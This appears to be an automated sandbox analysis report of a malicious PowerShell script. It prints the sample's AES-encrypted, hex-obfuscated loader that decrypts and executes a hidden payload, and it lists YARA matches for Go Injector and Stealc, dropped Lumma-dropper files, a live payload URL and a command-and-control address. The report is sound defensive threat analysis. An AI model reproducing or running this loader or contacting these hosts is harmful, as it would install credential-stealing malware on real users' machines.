hbahmnxa('649390cfebe1770baa5146de729123ccd838e758e4276a363f637b3aaf033337ac0657955271e9550f501406601e1a41860e46e19b664ff95794ff1f3d04636bd08f0c38c4b63e80890b016bd8ab0b78879ef113b89a3f38f6f895de87aea8d3b7f0cceb19c1832e835097eccb2c36890967c12beb560476870cfca3b2026770977e5bfc6237ba383ab0c9bc4fee55e653db382e41c9866a6c0222d784911f31ebb65e3730429d060ff2e1fca15d8f85018d75055e5f3d7f26332ee40768ec9bafdc24fc0691d6b57ab81120a83ff0208197b7794eb8e48f081d5265c2ede5be7c897c05abf2349eba71b3759948f6cc4e3d2aa8cb8b87bc3ef6dd53f55e24b1a14b06982580b23e1cdc89a89e5fc9aebcc45162b160bdd6d1dd820e751c213f642e6174ab940a544437cbd4b95f451f49854521b6b5f25dc2958288b9e8ae3e84ec687bf5fd542fd21b03b728755d38b9f795538690a1731ad87a4ff035e0e4df4d5d5926749bcc457636f04db20d58fef916462dcac2915ff336ece4c613138832fb8cb53ec4dda139297818b53354f21f92e9a237cdea5eba27fd7e08abad8bc364c8ac9d4da7ef88987044e30e52f804d80e2dcf76eb0c85804d4469e0f07c9e5ce26611de49ad0bb0333d282354be10f943982430b1169a615e79e3e0c5ec79da387ad53eaf2fd764dbb293f0ef18d616eef99c38992715145d16ca68d09f1d913d460445ad05e1641ee4ac2b1e944f7ff45b6c7c51974decc8b09b1ccbdc8ed7174a14c70f59ea9b96e93e8a336d668ff3c2dc68d75472553892c38d8f32e86361d381e1ee6e6e1bca21fa73fc43dddafced280453e7b5d154f59ef2be213c2656f282eabc6a8d2f17a8b47c539e9817820b02e234fd821466297478cf4c06bf88b97d45dcf3e4c807de237ad7614dcd6332d4de950c177646c50f08062e130279ece8b08c9945a79ecf6c4b88024a24dc840a12e22f404f56b7c13e2f9dc8aadeb49ecc7a67ae9983475129e57afb8d0f9326b22e9b79aaa56db3eec92ea9708998095778497441e15d7795f50116cf78185726e9a7f7a3e40d436d50f77bda8dddbfd8cebb4c758ea3595453635fe911ba9691eb0e2a28529d8c4b9e2d50dd40cbdbc57f9d07995096eb6b48448429c1f014b7bdf9146ec21a79ada827e6590d159548021642354333fc8154696c9e79b4cda3e5d22551f1f2387aaa9ce4464c571969727f845599b1bd312eb356a5e140ec6f91912b1227b9f3a941727413d53c0fe2b26de40bb2b36462055bbf7e8a6b8281cc7ffd4048a1cd97104c3a63ff87ce63106ef7443d01d5fce1fd67a7e73ee2a8f2cd2efed7b4a7796db2328bd317f0349f8b606845cbf4fc0f73d45630ef3466836c0a93133f760481fb4e2f4e46dbff6a7aa0455989567090a3ebb373f3ec52b5ee0558518bc12408677670492bea93021308df47cd62cf99b8e473176b2965284653204ce093a6d8ce56300896793a61754d407eb838a56372881c0664af37f1e9500bbac243013c5f5953abe1cd43347b87c2d6ed6169c7b0d8242de3ed14c3f856f471a13cefe0993ee315d5305cc2ac9054976c9ca5a6');$jqkxh = [system.security.cryptography.aes]::create();$jqkxh.key = hbahmnxa('52615577706262664d6d43476f4f4344');$jqkxh.iv = new-object byte[] 16;$spkoqcak = $jqkxh.createdecryptor();$cwklkdgxo = $spkoqcak.transformfinalblock($pecdkn, 0, $pecdkn.length);$mtmnxpoaf = [system.text.encoding]::utf8.getstring($cwklkdgxo);$spkoqcak.dispose();& $mtmnxpoaf.substring(0,3) $mtmnxpoaf.substring(3)			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Queries volume information: C:\Users\user\AppData\Roaming\0SmartAssem.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 11_2_030672F0 GetUserNameA,

11_2_030672F0

Stealing of Sensitive Information

Yara detected Go Injector

Source: Yara match	File source: 8.2.0SmartAssem.exe.7ff74ca60000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.0SmartAssem.exe.7ff74ca60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1897589705.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2003314361.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0SmartAssem.exe PID: 7716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\0SmartAssem.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7916, type: MEMORYSTR

Remote Access Functionality

Yara detected Go Injector

Source: Yara match	File source: 8.2.0SmartAssem.exe.7ff74ca60000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.0SmartAssem.exe.7ff74ca60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1897589705.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2003314361.00007FF74D0EC000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0SmartAssem.exe PID: 7716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\0SmartAssem.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2079531848.00000000032B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7916, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	112 Command and Scripting Interpreter	1 DLL Side-Loading	311 Process Injection	21 Masquerading	OS Credential Dumping	131 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	23 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
verification.b-cdn.net.ps1	0%	ReversingLabs
verification.b-cdn.net.ps1	2%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]	39%	ReversingLabs	Win32.Dropper.Lumma
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\smart1[1]	28%	Virustotal		Browse
C:\Users\user\AppData\Roaming\0SmartAssem.exe	18%	ReversingLabs	Win64.Malware.Generic
C:\Users\user\AppData\Roaming\Qt5PrintSupportVBox.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Qt5SqlVBox.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\VBoxSharedClipboard.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\VBoxSharedFolders.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\VBoxSupLib.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\VBoxVMM.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	0%	URL Reputation	safe
https://bidvertiser.b-cdn.net/F	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1H	0%	Avira URL Cloud	safe
http://193.176.153.234/587ec30955d49a9c.php	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1.zipp	0%	Avira URL Cloud	safe
http://193.176.153.234/:	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1C:	0%	Avira URL Cloud	safe
http://193.176.153.234/587ec30955d49a9c.phpD	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1D	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1.zip	100%	Avira URL Cloud	malware
https://bidvertiser.b-cdn.net	2%	Virustotal		Browse
http://193.176.153.234/587ec30955d49a9c.php	0%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1C:	2%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1I9	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1.zipp	2%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1...r#	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1_BROWSER_APP_B	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1U	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1	100%	Avira URL Cloud	malware
https://bidvertiser.b-cdn.net/smart1entV	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1c9x	0%	Avira URL Cloud	safe
http://193.176.153.234/587ec30955d49a9c.php/	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1(i	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1.zip	3%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1https://bidvertiser.b-cdn.net/smart1	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictduration	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1	3%	Virustotal		Browse
http://193.176.153.234/587ec30955d49a9c.phpl	0%	Avira URL Cloud	safe
http://193.176.153.234/587ec30955d49a9c.php/	2%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1m	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/h#	0%	Avira URL Cloud	safe
https://protobuf.dev/reference/go/faq#namespace-conflictduration	0%	Virustotal		Browse
http://193.176.153.234/587ec30955d49a9c.php0	0%	Avira URL Cloud	safe
http://193.176.153.2348:	0%	Avira URL Cloud	safe
http://193.176.153.234/	0%	Avira URL Cloud	safe
http://193.176.153.234	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart1...	100%	Avira URL Cloud	malware
https://bidvertiser.b-cdn.net/smart1:asLMEMPx	0%	Avira URL Cloud	safe
http://193.176.153.234	2%	Virustotal		Browse
http://193.176.153.234/	2%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1...	2%	Virustotal		Browse
http://193.176.153.234/X	0%	Avira URL Cloud	safe
https://www.virtualbox.org/	0%	Avira URL Cloud	safe
https://bidvertiser.b-cdn.net/smart10	0%	Avira URL Cloud	safe
https://www.virtualbox.org/	0%	Virustotal		Browse
https://bidvertiser.b-cdn.net/smart1OOC:	0%	Avira URL Cloud	safe
http://193.176.153.234;	0%	Avira URL Cloud	safe
http://193.176.153.234/587ec30955d49a9c.phpx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bidvertiser.b-cdn.net	185.93.1.250	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.176.153.234/587ec30955d49a9c.php	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
